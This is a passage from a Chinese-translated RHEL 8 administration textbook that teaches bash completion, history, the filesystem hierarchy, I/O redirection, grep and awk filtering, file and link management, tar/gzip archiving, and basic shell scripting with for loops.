-快捷方式可以更快地访问常用目录或当前工作目录的相对引用。 但是,bash 包含一些以快速方式到达其他目录的功能,称为**自动补全**。 它依赖于*Tab*键(在键盘的最左边,*Caps Lock*的正上方有两个相反的箭头)。 - -当到达一个文件夹或文件时,我们可以按*Tab*来完成其名称。 例如,如果我们想进入`/boot/grub2`文件夹,我们键入以下内容: - -```sh -[user@rhel8 ~]$ cd /bo -``` - -然后,当我们按下*Tab*键,这将自动补全到`/boot/`,甚至添加最后一个`/`,因为它是一个目录: - -```sh -[user@rhel8 ~]$ cd /boot/ -``` - -现在我们输入要去的目录的第一个字母`grub2`,也就是`g`: - -```sh -[user@rhel8 ~]$ cd /boot/g -``` - -然后,当我们按*Tab*键时,会自动补全到`/boot/grub2/`: - -```sh -[root@rhel8 ~]# cd /boot/grub2/ -``` - -现在我们可以按*进入*进入那里。 - -如果我们按下*Tab + Tab*(在完成过程中按下*Tab*两次),这将显示一个可完成目标列表,例如: - -```sh -[root@rhel8 ~]# cd /r -root/ run/   -``` - -它还可以用于完成命令。 我们可以输入一个字母,例如,`h`,按*Tab + Tab*,这将显示所有以`h`开头的命令: - -```sh -[root@rhel8 ~]# h -halt         hardlink     hash         h dparm       head         help         hexdump      history      hostid       hostname     hostnamectl  hwclock       -``` - -通过安装`bash-completion`包,可以扩展此功能以帮助完成命令的其他部分: - -```sh -[root@rhel8 ~]# yum install bash-completion –y -``` - -### 之前的命令 - -有一种方法可以恢复最近运行的命令,称为**历史**,以防您想再次运行它们。 只需按*向上箭头*键(箭头指向上的那个键),之前的命令就会出现在屏幕上。 - -如果您的历史记录中有太多的命令,您可以通过运行`history`命令快速搜索它们: - -```sh -[user@rhel8 ~]$ history -   1  su root -   2  su -   3  su - -   4  id -   5  id root -   6  grep user /etc/passwd -   7  echo $USER -   8   echo $HOME -   9  declare -   10  echo $SHELL -   11  echo EDITOR -   12  echo $EDITOR -   13  grep wheel /etc/gro -   14  grep wheel /etc/group -   15  cat /etc/group -   16  grep nobody /etc/group /etc/passwd -``` - -您可以通过使用`!`命令再次运行这些命令中的任何一个。 只需使用命令的编号运行`!`,它将再次运行: - -```sh -[user@rhel8 ~]$ !5 -id root -uid=0(root) gid=0(root) groups=0(root) -``` - -提示 - -命令`!!`将再次运行最后一个命令,不管该命令的编号是多少。 - -现在是时候享受您的超高速命令行了。 在下一节中,让我们学习更多关于 Linux 中的目录结构的知识,以便知道到哪里去查找东西。 - -## 文件系统层次结构 - -Linux 有一个由*Linux Foundation*维护的标准,该标准定义了**文件系统层次结构**,并且在几乎所有的 Linux 发行版中使用,包括*RHEL*。 该标准被称为**FHS**,或**文件系统层次结构标准**。 让我们在这里回顾一下标准和系统本身中最重要的文件夹: - -![](img/B16799_03_Table_02.jpg) - -提示 - -以前的 RHEL 版本使用`/bin`表示基本的二进制文件,`/usr/bin`表示非基本的二进制文件。 现在,两者的内容都驻留在`/usr/bin`中。 对于在`/run`中运行的内容,他们也使用`/var/lock`和`/var/run`。 此外,他们过去有`/lib`用于基本的库,`/usr/lib`用于非基本的库,它们被合并到一个单一的目录`/usr/lib`。 最后但并非最不重要的是,`/sbin`是基本超级用户二进制文件的目录,`/usr/sbin`是合并在`/usr/sbin`下的非基本二进制文件的目录。 - -当分区时,我们可能会问自己,磁盘空间到哪里去了? - -以下是 RHEL 8“最小”安装的分配值和建议: - -![](img/B16799_03_Table_03.jpg) - -为了充分利用系统中的主目录,必须熟悉主目录。 建议浏览不同的系统目录,查看其中的内容,以便熟悉该结构。 在下一节中,我们将研究如何在命令行上执行重定向,以了解更多关于命令和文件交互的信息。 - -# 理解命令行中的 I/O 重定向 - -我们已经运行多个命令确定关于系统的信息,如清单文件`ls`,我们已经得到了一些信息,输出**,从正在运行的命令,包括,例如,文件名和文件大小。 这些信息或*输出*可能是有用的,我们希望能够使用它、存储它并正确地管理它。** - -当谈论命令*输出*和**输入**时,有三个来源或目标需要理解: - -* **STDOUT**:也称为**标准输出**,这里是命令将其常规消息放置的地方,以提供关于它们正在做的事情的信息。 在终端中,在交互式 shell(如我们目前使用的 shell)中,这个输出将显示在屏幕上。 这将是我们管理的主要产出。 -* **STDERR**:也称为**标准错误**,这是命令将其错误消息放入要处理的位置。 在我们的交互式 shell 中,这个输出也会和标准输出一起显示在屏幕上,除非我们特别地重定向它。 -* **STDIN**:也称为**标准输入**,这是命令获取要处理的数据的地方。 - -为了更好地理解它们,我们将在下一段中提到它们。 - -命令输入和输出的使用方式需要以下操作符: - -* `|`:使用**管道**操作符获取一个命令的输出,并将其作为下一个命令的输入。 它将*数据从一个命令传送到另一个命令。* -* `>`:使用**重定向**操作符将命令的输出放入文件中。 如果文件存在,它将被覆盖。 -* `<`:**反向重定向**可以应用将文件作为命令的输入。 使用它不会删除作为输入的文件。 -* `>>`:**重定向并添加**操作符用于将命令的输出追加到文件中。 如果该文件不存在,将使用提供给它的输出来创建它。 -* `2>`:**重定向 STDERR**操作符将只重定向发送到错误消息处理程序的输出。 (注意,在“2”和“>”之间不应该包含空格!) -* `1>`:**重定向 STDOUT**操作符只将输出重定向到标准输出,而不将输出重定向到错误消息处理程序。 -* `>&2`:**重定向到 STDERR**操作符将输出重定向到标准错误处理程序。 -* `>&1`:**重定向到 STDOUT**操作符将输出重定向到标准输出处理程序。 - -为了更好地理解这些,我们将在本节和下一节中介绍一些示例。 - -让我们得到一个文件的列表并将其放入一个文件中。 首先,我们在`/var`中列出文件,使用`-m`选项用逗号分隔条目: - -```sh -[root@rhel8 ~]# ls -m /var/ -adm, cache, crash, db, empty, ftp, games, gopher, kerberos, lib, local, lock, log, mail, nis, opt, preserve, run, spool, tmp, yp -``` - -现在,我们再次运行该命令,将输出重定向到`/root/var-files.txt`文件: - -```sh -[root@rhel8 ~]# ls –m /var/ > /root/var-files.txt -[root@rhel8 ~]# -``` - -正如我们所看到的,屏幕上没有显示输出,但我们将能够在当前工作目录中找到新文件,在本例中为`/root`,即新创建的文件: - -```sh -[root@rhel8 ~]# ls /root -anaconda-ks.cfg  var-files.txt -``` - -要在屏幕上查看文件的内容,我们使用`cat`命令,目的是连接多个文件的输出,但通常用于此目的: - -```sh -[root@rhel8 ~]# ls –m /var/ > /root/var-files.txt -[root@rhel8 ~]# -[root@rhel8 ~]# cat var-files.txt -adm, cache, crash, db, empty, ftp, games, gopher, kerberos, lib, local, lock, -log, mail, nis, opt, preserve, run, spool, tmp, yp -``` - -我们也可以将`/var/lib`的内容添加到这个文件中。 首先,我们可以列出: - -```sh -[root@rhel8 ~]# ls -m /var/lib/ -alternatives, authselect, chrony, dbus, dhclient, dnf, games, initramfs, logrotate, misc, NetworkManager, os-prober, plymouth, polkit-1, portables, private, rhsm, rpm, rpm-state, rsyslog, selinux, sss, systemd, tpm, tuned, unbound -``` - -现在,为了将这个内容追加到`/root/var-files.txt`文件中,使用`>>`操作符: - -```sh -[root@rhel8 ~]# ls -m /var/lib/ >> var-files.txt -[root@rhel8 ~]# cat var-files.txt -adm, cache, crash, db, empty, ftp, games, gopher, kerberos, lib, local, lock, log, mail, nis, opt, preserve, run, spool, tmp, yp -alternatives, authselect, chrony, dbus, dhclient, dnf, games, initramfs, logrotate, misc, NetworkManager, os-prober, plymouth, polkit-1, portables, private, rhsm, rpm, rpm-state, rsyslog, selinux, sss, systemd, tpm, tuned, unbound -``` - -`/root/var-files.txt`文件现在包含`/var`和`/var/lib`的逗号分隔列表。 - -现在我们可以试着列出一个不存在的目录来查看打印的错误: - -```sh -[root@rhel8 ~]# ls -m /non -ls: cannot access '/non': No such file or directory -``` - -我们看到的输出是一个错误,系统对它的处理与常规消息不同。 我们可以尝试将输出重定向到一个文件: - -```sh -[root@rhel8 ~]# ls -m /non > non-listing.txt -ls: cannot access '/non': No such file or directory -[root@rhel8 ~]# cat non-listing.txt -[root@rhel8 ~]# -``` - -我们看到,使用标准重定向,并使用一个提供错误消息的命令,将通过`STDERR`在屏幕上显示错误消息,并创建一个空文件。 这是因为该文件包含通过`STDOUT`显示的公共信息消息的输出。 我们仍然可以通过使用`2>`来捕获错误的输出,重定向`STDERR`: - -```sh -[root@rhel8 ~]# ls /non 2> /root/error.txt -[root@rhel8 ~]# cat /root/error.txt -ls: cannot access '/non': No such file or directory -``` - -现在我们可以分别重定向标准输出和错误输出。 - -现在我们想要计数`/var`中文件和目录的数量。 为此,我们将使用`wc`命令,该命令表示*单词计数,*加上选项`-w`将重点放在单词计数上。 为此,我们将使用`|`表示的*管道*将`ls`的输出重定向到它: - -```sh -[root@rhel8 ~]# ls -m /var/ | wc -w -21 -``` - -我们也可以使用它来计数`/etc`中的条目: - -```sh - [root@rhel8 ~]# ls -m /etc/ | wc -w -174 -``` - -管道`|`非常适合重用一个命令的输出,并将其发送到另一个命令来处理该输出。 现在我们了解了更多关于使用更常见的操作符重定向输入和输出的内容。 有几种处理输出的方法,我们将在下一节中看到更多示例。 - -# 使用 grep 和 sed 过滤输出 - -在系统管理中,经常使用`grep`命令(而通常是的错误输入)。 无论是在文件中还是通过**标准输入**(**STDIN**)查找一行中的模式时,它都有帮助。 - -让我们用`find`对`/usr`中的文件进行递归搜索,并将其放入`/root/usr-files.txt`中: - -```sh -[root@rhel8 ~]# find /usr/ > /root/usr-files.txt -[root@rhel8 ~]# ls -lh usr-files.txt --rw-r--r--. 1 root root 1,9M dic 26 12:38 usr-files.txt -``` - -如您所见,这是一个 1.9 MB 大小的文件,要浏览它并不容易。 在系统中有一个名为`gzip`的实用程序,我们希望知道`/usr`中的哪些文件包含的`gzip`模式。 为此,我们运行以下命令: - -```sh -[root@rhel8 ~]# grep gzip usr-files.txt -/usr/bin/gzip -/usr/lib64/python3.6/__pycache__/gzip.cpython-36.opt-2.pyc -/usr/lib64/python3.6/__pycache__/gzip.cpython-36.opt-1.pyc -/usr/lib64/python3.6/__pycache__/gzip.cpython-36.pyc -/usr/lib64/python3.6/gzip.py -/usr/share/licenses/gzip -/usr/share/licenses/gzip/COPYING -/usr/share/licenses/gzip/fdl-1.3.txt -/usr/share/doc/gzip -/usr/share/doc/gzip/AUTHORS -/usr/share/doc/gzip/ChangeLog -/usr/share/doc/gzip/NEWS -/usr/share/doc/gzip/README -/usr/share/doc/gzip/THANKS -/usr/share/doc/gzip/TODO -/usr/share/man/man1/gzip.1.gz -/usr/share/info/gzip.info.gz -/usr/share/mime/application/gzip.xml -``` - -如您所见,通过创建一个包含所有内容的文件并使用`grep`搜索,我们在`/usr`目录下找到了包含`gzip`的所有文件。 我们可以在没有创建文件的情况下完成同样的操作吗? 当然可以,通过使用*管*。 我们可以将`find`的输出重定向到`grep`,并得到相同的输出: - -```sh -[root@rhel8 ~]# find /usr/ | grep gzip -/usr/bin/gzip -/usr/lib64/python3.6/__pycache__/gzip.cpython-36.opt-2.pyc -/usr/lib64/python3.6/__pycache__/gzip.cpython-36.opt-1.pyc -/usr/lib64/python3.6/__pycache__/gzip.cpython-36.pyc -/usr/lib64/python3.6/gzip.py -/usr/share/licenses/gzip -/usr/share/licenses/gzip/COPYING -/usr/share/licenses/gzip/fdl-1.3.txt -/usr/share/doc/gzip -/usr/share/doc/gzip/AUTHORS -/usr/share/doc/gzip/ChangeLog -/usr/share/doc/gzip/NEWS -/usr/share/doc/gzip/README -/usr/share/doc/gzip/THANKS -/usr/share/doc/gzip/TODO -/usr/share/man/man1/gzip.1.gz -/usr/share/info/gzip.info.gz -/usr/share/mime/application/gzip.xml -``` - -在这个命令中,将`find`的标准输出发送到`grep`进行处理。 我们甚至可以使用`wc`来计算文件的实例数,但这一次使用`-l`选项来计算行数: - -```sh -[root@rhel8 ~]# find /usr/ | grep gzip | wc -l -18 -``` - -现在我们有连接两个管道,一个用于过滤输出,另一个用于计数。 当我们在系统中搜索和查找信息时,我们会发现自己经常做这种管道工作。 - -以下是一些非常常见的`grep`选项: - -* `-i`:用于**忽略病例**。 这将匹配模式,无论它是大写还是小写或两者的组合。 -* `-v`:用于**倒置匹配**。 这将显示与正在搜索的模式不匹配的所有条目。 -* `-r`:对于**递归**。 我们可以让 grep 在一个目录中的所有文件中搜索一个模式,同时遍历所有文件(如果我们有权限的话)。 - -还有一种方法可以过滤输出中的列。 假设我们在主目录中有一个文件列表,我们想要查看它的大小。 我们运行以下命令: - -```sh -[root@rhel8 ~]# ls -l -total 1888 --rw-------. 1 root root    1393 dic  7 16:45 anaconda-ks.cfg --rw-r--r--. 1 root root      52 dic 26 12:17 error.txt --rw-r--r--. 1 root root       0 dic 26 12:08 non-listing.txt --rw-r--r--. 1 root root 1917837 dic 26 12:40 usr-files.txt --rw-r--r--. 1 root root     360 dic 26 12:12 var-files.txt -``` - -假设我们只想要名称中包含`files`的内容的大小,即第五列。 我们可以用`awk`来表示: - -```sh -[root@rhel8 ~]# ls -l | grep files | awk '{ print $5}' -1917837 -360 -``` - -`awk`工具将帮助我们根据过滤到正确的列。 对于在进程中查找标识符或从长输出中获取特定的数据列表,非常有用。 - -提示 - -考虑到`awk`在处理输出方面非常强大,我们将为其使用最小的能力。 - -我们可以用`-F`替换分隔符,并获得系统中可用用户的列表: - -```sh -[root@rhel8 ~]# awk -F: '{ print $1}' /etc/passwd -root -bin -daemon -adm -lp -sync -shutdown -halt -mail -operator -games -ftp -nobody -dbus -systemd-coredump -systemd-resolve -tss -polkitd -unbound -sssd -chrony -sshd -rngd -user -``` - -`awk`和`grep`工具在 Linux 系统管理员的生命周期中是非常常见的处理工具,要管理系统提供的输出,很重要的一点是:很好地理解它们。 我们应用了基础知识来过滤按行和列接收的输出。 现在让我们继续讨论如何在系统中管理文件,以便更好地处理刚才生成的存储输出。 - -# 列出、创建、复制和移动文件和目录、链接和硬链接 - -是重要知道**管理文件和目录**(被称为文件夹)在【显示】一个系统从命令行。 将作为管理和复制重要数据的基础,如配置文件或数据文件。 - -## 目录 - -让我们从创建一个目录来保存一些工作文件开始。 我们可以通过运行`mkdir`(即**make 目录**来实现: - -```sh -[user@rhel8 ~]$ mkdir mydir -[user@rhel8 ~]$ ls -l -total 0 -drwxrwxr-x. 2 user user 6 Dec 23 19:53 mydir -``` - -`rmdir`命令(简称**删除目录**)可以删除文件夹: - -```sh -[user@rhel8 ~]$ ls -l -total 0 -drwxrwxr-x. 2 user user 6 Dec 23 19:53 mydir -[user@rhel8 ~]$ mkdir deleteme -[user@rhel8 ~]$ ls -l -total 0 -drwxrwxr-x. 2 user user 6 Dec 23 20:15 deleteme -drwxrwxr-x. 2 user user 6 Dec 23 19:53 mydir -[user@rhel8 ~]$ rmdir deleteme -[user@rhel8 ~]$ ls -l -total 0 -drwxrwxr-x. 2 user user 6 Dec 23 19:53 mydir -``` - -但是,`rmdir`只会删除空目录: - -```sh -[user@rhel8 ~]$ ls /etc/ > ~/mydir/etc-files.txt -[user@rhel8 ~]$ rmdir mydir -rmdir: failed to remove 'mydir': Directory not empty -``` - -如何使用 remove(`rm`)命令删除目录及其包含的所有其他文件和目录? 首先,让我们创建并删除一个文件`var-files.txt`: - -```sh -[user@rhel8 ~]$ ls /var/ > ~/var-files.txt -[user@rhel8 ~]$ ls -l var-files.txt --rw-rw-r--. 1 user user 109 Dec 26 15:31 var-files.txt -[user@rhel8 ~]$ rm var-files.txt -[user@rhel8 ~]$ ls -l var-files.txt -ls: cannot access 'var-files.txt': No such file or directory -``` - -要删除一个完整的目录分支,包括其内容,我们可以使用`-r`选项,简称**recursive**: - -```sh -[user@rhel8 ~]$ rm -r mydir/ -[user@rhel8 ~]$ ls -l -total 0 -``` - -重要提示 - -在使用递归模式进行删除时要非常小心,因为在命令行中既没有恢复命令也没有垃圾箱来保存已删除的文件。 - -让我们来看看复习表: - -![](img/B16799_03_Table_04.jpg) - -既然已经知道了如何在 Linux 系统中创建和删除目录,让我们开始复制和移动内容。 - -## 复制和移动 - -现在,让我们使用`cp`(对于**copy**)命令复制一些文件。 我们可以将得到一些功能强大的`awk`示例复制到我们的主目录: - -```sh -[user@rhel8 ~]$ mkdir myawk -[user@rhel8 ~]$ cp /usr/share/awk/* myawk/ -[user@rhel8 ~]$ ls myawk/ | wc -l -26 -``` - -为了同时复制多个文件,我们使用带有`*`符号的**通配符**。 它的工作方式是一个接一个地指定文件,我们可以键入`*`来表示所有内容。 我们也可以键入初始字符,然后键入`*`,所以让我们尝试使用通配符复制更多的文件,首先: - -```sh -[user@rhel8 ~]$ mkdir mysystemd -[user@rhel8 ~]$ cp /usr/share/doc/systemd/* mysystemd/ -[user@rhel8 ~]$ cd mysystemd/ -[user@rhel8 mysystemd]$ ls -20-yama-ptrace.conf  CODING_STYLE  DISTRO_PORTING  ENVIRONMENT.md  GVARIANT-SERIALIZATION  HACKING  NEWS  README  TRANSIENT-SETTINGS.md  TRANSLATORS  UIDS-GIDS.md -``` - -您将看到运行`ls TR*`只显示以`TR`开头的文件: - -```sh -[user@rhel8 mysystemd]$ ls TR* -TRANSIENT-SETTINGS.md  TRANSLATORS -``` - -它将以相同的方式与文件结束: - -```sh -[user@rhel8 mysystemd]$ ls *.md -ENVIRONMENT.md  TRANSIENT-SETTINGS.md  UIDS-GIDS.md -``` - -如您所见,它只显示以`.md`结尾的文件。 - -我们可以使用*递归*选项为`cp`复制文件和目录的完整分支,即`-r`: - -```sh -[user@rhel8 mysystemd]$ cd ~ -[user@rhel8 ~]$ mkdir myauthselect -[user@rhel8 ~]$ cp -r /usr/share/authselect/* myauthselect -[user@rhel8 ~]$ ls myauthselect/ -default  vendor -``` - -递归选项对于复制完整的分支非常有用。 我们还可以使用`mv`命令轻松地移动目录或文件。 让我们将所有的新目录放在一个新创建的名为`docs`的目录中: - -```sh -[user@rhel8 ~]$ mv my* docs/ -[user@rhel8 ~]$ ls docs/ -myauthselect  myawk  mysystemd -``` - -您可以看到,使用`mv`,您不需要使用递归选项来管理文件和目录的完整分支。 它也可以用来重命名文件和/或目录: - -```sh -[user@rhel8 ~]$ cd docs/mysystemd/ -[user@rhel8 mysystemd]$ ls -20-yama-ptrace.conf  CODING_STYLE  DISTRO_PORTING  ENVIRONMENT.md  GVARIANT-SERIALIZATION  HACKING  NEWS  README  TRANSIENT-SETTINGS.md  TRANSLATORS  UIDS-GIDS.md -[user@rhel8 mysystemd]$ ls -l NEWS --rw-r--r--. 1 user user 451192 Dec 26 15:59 NEWS -[user@rhel8 mysystemd]$ mv NEWS mynews -[user@rhel8 mysystemd]$ ls -l NEWS -ls: cannot access 'NEWS': No such file or directory -[user@rhel8 mysystemd]$ ls -l mynews --rw-r--r--. 1 user user 451192 Dec 26 15:59 mynews -``` - -有一个创建空文件的特殊命令,即`touch`: - -```sh -[user@rhel8 ~]$ ls -l  docs/ -total 4 -drwxrwxr-x. 4 user user   35 Dec 26 16:08 myauthselect -drwxrwxr-x. 2 user user 4096 Dec 26 15:51 myawk -drwxrwxr-x. 2 user user  238 Dec 26 16:21 mysystemd -[user@rhel8 ~]$ touch docs/mytouch -[user@rhel8 ~]$ ls -l  docs/ -total 4 -drwxrwxr-x. 4 user user   35 Dec 26 16:08 myauthselect -drwxrwxr-x. 2 user user 4096 Dec 26 15:51 myawk -drwxrwxr-x. 2 user user  238 Dec 26 16:21 mysystemd --rw-rw-r--. 1 user user    0 Dec 26 16:27 mytouch -``` - -当应用到一个现有的文件或文件夹时,它将更新其访问时间为当前的一个: - -```sh -[user@rhel8 ~]$ touch docs/mysystemd -[user@rhel8 ~]$ ls -l  docs/ -total 4 -drwxrwxr-x. 4 user user   35 Dec 26 16:08 myauthselect -drwxrwxr-x. 2 user user 4096 Dec 26 15:51 myawk -drwxrwxr-x. 2 user user  238 Dec 26 16:28 mysystemd --rw-rw-r--. 1 user user    0 Dec 26 16:27 mytouch -``` - -让我们来看看复习表: - -![](img/B16799_03_Table_05.jpg) - -现在我们知道如何复制、删除、重命名和移动文件和目录,甚至全目录分支。 现在让我们看看使用它们的另一种方式——链接。 - -## 符号和硬链接 - -我们可以使用**链接**在两个地方拥有相同的文件。 链接有两种类型: - -* **硬链接**:文件系统中有两个(或更多)条目指向同一个文件。 内容将被写入磁盘一次。 对于同一个文件,不能在两个不同的文件系统中创建硬链接。 不能为目录创建硬链接。 -* **符号链接**:符号链接被创建,指向系统中任意位置的文件或目录。 - -对于*链接*,它们都是使用`ln`工具创建的。 - -现在让我们创建硬链接: - -```sh -[user@rhel8 ~]$ cd docs/       -[user@rhel8 docs]$ ln mysystemd/README MYREADME -[user@rhel8 docs]$ ls -l -total 20 -drwxrwxr-x. 4 user user    35 Dec 26 16:08 myauthselect -drwxrwxr-x. 2 user user  4096 Dec 26 15:51 myawk --rw-r--r--. 2 user user 13826 Dec 26 15:59 MYREADME -drwxrwxr-x. 2 user user   238 Dec 26 16:28 mysystemd --rw-rw-r--. 1 user user     0 Dec 26 16:27 mytouch -[user@rhel8 docs]$ ln MYREADME MYREADME2 -[user@rhel8 docs]$ ls -l -total 36 -drwxrwxr-x. 4 user user    35 Dec 26 16:08 myauthselect -drwxrwxr-x. 2 user user  4096 Dec 26 15:51 myawk --rw-r--r--. 3 user user 13831 Dec 26 16:32 MYREADME --rw-r--r--. 3 user user 13831 Dec 26 16:32 MYREADME2 -drwxrwxr-x. 2 user user   238 Dec 26 16:28 mysystemd --rw-rw-r--. 1 user user     0 Dec 26 16:27 mytouch -drwxrwxr-x. 2 user user     6 Dec 26 16:35 test -``` - -检查对文件不断增加的引用数量(在前面的示例中以粗体显示)。 - -现在,让我们创建一个符号链接到一个目录`ln -s`(*s 表示符号*): - -```sh -[user@rhel8 docs]$ ln -s mysystemd mysystemdlink -[user@rhel8 docs]$ ls -l -total 36 -drwxrwxr-x. 4 user user    35 Dec 26 16:08 myauthselect -drwxrwxr-x. 2 user user  4096 Dec 26 15:51 myawk --rw-r--r--. 3 user user 13831 Dec 26 16:32 MYREADME --rw-r--r--. 3 user user 13831 Dec 26 16:32 MYREADME2 -drwxrwxr-x. 2 user user   238 Dec 26 16:28 mysystemd -lrwxrwxrwx. 1 user user     9 Dec 26 16:40 mysystemdlink -> mysystemd --rw-rw-r--. 1 user user     0 Dec 26 16:27 mytouch -drwxrwxr-x. 2 user user     6 Dec 26 16:35 test -``` - -检查如何创建符号链接被视为一种不同类型清单时,因为它始于`l`*链接*(在前面的示例中以粗体)而不是`d`*目录*(也在前面的示例中以粗体)。 - -提示 - -当不确定要使用什么,是硬链接还是符号链接,使用符号链接作为默认选择。 - -让我们来看看复习表: - -![](img/B16799_03_Table_06.jpg) - -如您所见,创建链接和符号链接非常简单,可以帮助您从不同的位置访问相同的文件或目录。 在下一节中,我们将介绍如何打包和压缩一组文件和目录。 - -# 使用 tar 和 gzip - -有时,我们希望将一个完整的目录(包括文件)打包到单个文件中,以便进行备份,或者只是为了更方便地共享它。 可以帮助将文件聚合为一个的命令是`tar`。 - -首先,我们需要安装`tar`: - -```sh -[root@rhel8 ~]# yum install tar -y -``` - -我们可以尝试创建一个目录分支的备份`root`: - -```sh -[root@rhel8 ~]# tar -cf etc-backup.tar /etc -tar: Removing leading '/' from member names -[root@rhel8 ~]# ls -lh etc-backup.tar --rw-r--r--. 1 root root 21M dic 27 16:08 etc-backup.tar -``` - -让我们检查使用的选项: - -* `-c`:create 的缩写。 TAR 可以将文件放在一起,也可以解压缩它们。 -* `-f`:file 的缩写。 我们指定下一个参数将处理一个文件。 - -我们可以试着把它拆开: - -```sh -[root@rhel8 ~]# mkdir tmp -[root@rhel8 ~]# cd tmp/ -[root@rhel8 tmp]# tar -xf ../etc-backup.tar -[root@rhel8 tmp]# ls -etc -``` - -让我们检查一下使用的新选项: - -* `-x`:用于提取。 它解压缩一个 TAR 文件。 - -请注意,我们创建了一个名为`tmp`的目录,并通过使用`..`快捷方式(指向当前工作目录的父目录)指向`tmp`的父目录。 - -让我们`gzip`来压缩一个文件。 我们可以复制`/etc/services`并压缩它: - -```sh -[root@rhel8 etc]# cd .. -[root@rhel8 tmp]# cp /etc/services . -[root@rhel8 tmp]# ls -lh services --rw-r--r--. 1 root root 677K dic 27 16:16 services -[root@rhel8 tmp]# gzip services -[root@rhel8 tmp]# ls -lh services.gz --rw-r--r--. 1 root root 140K dic 27 16:16 services.gz -``` - -请注意,当使用`gzip`时,这将压缩指定的文件,并将`.gz`扩展名添加到中,原始文件将不保留。 另外,请注意新创建的文件是原始文件大小的 1/5。 - -要恢复它,可以运行`gunzip`: - -```sh --rw-r--r--. 1 root root 140K dic 27 16:16 services.gz -[root@rhel8 tmp]# gunzip services.gz -[root@rhel8 tmp]# ls -lh services --rw-r--r--. 1 root root 677K dic 27 16:16 services -``` - -现在我们可以把它们结合起来,打包和压缩它们: - -```sh -[root@rhel8 ~]# tar cf etc-backup.tar /etc/ -tar: Removing leading '/' from member names -[root@rhel8 ~]# ls -lh etc-backup.tar --rw-r--r--. 1 root root 21M dic 27 16:20 etc-backup.tar -[root@rhel8 ~]# gzip etc-backup.tar -[root@rhel8 ~]# ls etc-backup.tar.gz -etc-backup.tar.gz -[root@rhel8 ~]# ls -lh etc-backup.tar.gz --rw-r--r--. 1 root root 4,9M dic 27 16:20 etc-backup.tar.gz -``` - -用这种方法,我们分两步打包和压缩。 - -`tar`命令足够智能,可以在单个步骤中执行打包和压缩: - -```sh -[root@rhel8 ~]# rm -f etc-backup.tar.gz -[root@rhel8 ~]# tar -czf etc-backup.tar.gz /etc/ -tar: Removing leading '/' from member names -[root@rhel8 ~]# ls -lh etc-backup.tar.gz --rw-r--r--. 1 root root 4,9M dic 27 16:22 etc-backup.tar.gz -``` - -让我们检查新选项: - -* `-z`:用`gzip`压缩新创建的 tar 文件。 它也适用于解压。 - -我们可能想要在解压时回顾相同的选项: - -```sh -[root@rhel8 ~]# cd tmp/ -[root@rhel8 tmp]# rm -rf etc -[root@rhel8 tmp]# tar -xzf ../etc-backup.tar.gz -[root@rhel8 tmp]# ls -etc -``` - -如您所见,使用`tar`和`gzip`很容易打包和压缩文件。 还有其他的压缩方法,如`bzip2`或`xz`,它们的口粮更高,你也可以尝试一下。 现在,让我们继续将学到的所有命令组合成一种强大的自动化方式—通过创建 shell 脚本。 - -# 创建基本 shell 脚本 - -作为系统管理员或系统管理员,有时需要多次运行一系列命令。 你可以通过每次运行每个命令来手动完成; 然而,有一种更有效的方法来实现此目的,即创建一个**s****hell 脚本**。 - -一个 shell 脚本不过是一个包含要运行的命令列表的文本文件,以及将解释它的 shell 的引用。 - -在本书中,我们将不讨论如何使用**文本编辑器**; 然而,我们将为 Linux 中的文本编辑器提供三条建议,可能会有所帮助: - -* **Nano**:这是可能是初学者最容易使用的文本编辑器。 精益、简单、直接,您可能想从安装并尝试它开始。 -* **Vi**或**Vim**:Vi 是 RHEL 中可用的默认文本编辑器,甚至在最小安装和许多 Linux 发行版中也包含。 即使您不打算每天都使用它,也最好熟悉一下的基本知识,因为您将使用的几乎所有 Linux 系统中都存在。 **Vim**代表**vi-improved**。 -* **Emacs**:这可能是有史以来最先进、最复杂的文本编辑器。 它可以做任何事情,包括阅读电子邮件或通过**Emacs 医生**帮助进行一点精神分析。 - -我们可以通过编辑一个名为`hello.sh`的新文件来创建我们的第一个 shell 脚本,其内容如下: - -```sh -echo ''hello world!'' -``` - -然后我们可以使用`bash`**命令解释器**运行,如下所示: - -```sh -[root@rhel8 ~]# bash hello.sh -hello world! -``` - -还有一种不需要输入`bash`的方法。 我们可以添加一个引用解释器的初始行,这样`hello.sh`的文件内容就像这样: - -```sh -#!/bin/bash -echo ''hello world!'' -``` - -现在我们正在修改权限,使其可执行: - -```sh -[root@rhel8 ~]# ls -l hello.sh --rw-r--r--. 1 root root 32 dic 27 18:20 hello.sh -[root@rhel8 ~]# chmod +x hello.sh -[root@rhel8 ~]# ls -l hello.sh --rwxr-xr-x. 1 root root 32 dic 27 18:20 hello.sh -``` - -我们这样运行它: - -```sh -[root@rhel8 ~]# ./hello.sh -hello world! -``` - -我们已经创建了第一个 shell 脚本。 恭喜你! - -提示 - -如`$PATH`变量所述,为了在任何工作目录中运行这些命令,它们必须位于路径中。 如果我们的命令(或 shell 脚本)不在路径中指定的目录之一,我们将指定运行目录,在本例中,使用当前目录的`.`快捷方式和`/`分隔符。 - -我们用一些变量。 我们可以通过简单地输入变量的名称和我们想要的值来定义一个变量。 让我们试着用一个变量替换单词`world`。 要使用它,我们在变量名前加上`$`符号,它就会被使用。 脚本看起来像这样: - -```sh -#!/bin/bash -PLACE=''world'' -echo ''hello $PLACE!'' -``` - -我们可以运行这个脚本,得到和前面一样的输出: - -```sh -[root@rhel8 ~]# ./hello.sh -hello world! -``` - -为了更加清晰,在使用变量的值时,我们将它的名称放在花括号`{`和`}`之间,并将此作为一种良好的实践。 - -前面的脚本看起来是这样的: - -```sh -#!/bin/bash -PLACE=''world'' -echo ''hello ${PLACE}!'' -``` - -现在我们知道了如何创建一个基本的脚本,但是我们可能想通过使用一些编程功能(从循环开始)来对它进行更深层次的控制。 让我们开始吧! - -## for 循环 - -如果我们想要在一个位置列表上运行相同的命令,该怎么办? 这就是`for`**loop**的作用。 它可以帮助迭代一组元素,例如列表或计数器。 - -`for`循环语法如下: - -* `for`:指定迭代 -* `do`:指定动作 -* `done`:闭合回路 - -我们可以定义一个空格分隔的列表来尝试它,并使用第一个`for`循环遍历它: - -```sh -#!/bin/bash -PLACES_LIST=''Madrid Boston Singapore World'' -for PLACE in ${PLACES_LIST}; do -echo ''hello ${PLACE}!'' -done -``` - -让我们运行它。 输出将像这样: - -```sh -[root@rhel8 ~]# ./hello.sh -hello Madrid! -hello Boston! -hello Singapore! -hello World! -``` - -当**从外部命令**读取列表时,使用`for`循环会非常有趣。 我们可以通过将外部命令放在`$(`和`)`之间来做到这一点。 - -提示 - -也可以使用反引号`'`来运行命令并以列表的形式获得其输出,但为了清晰起见,我们将坚持使用前面的表达式。 - 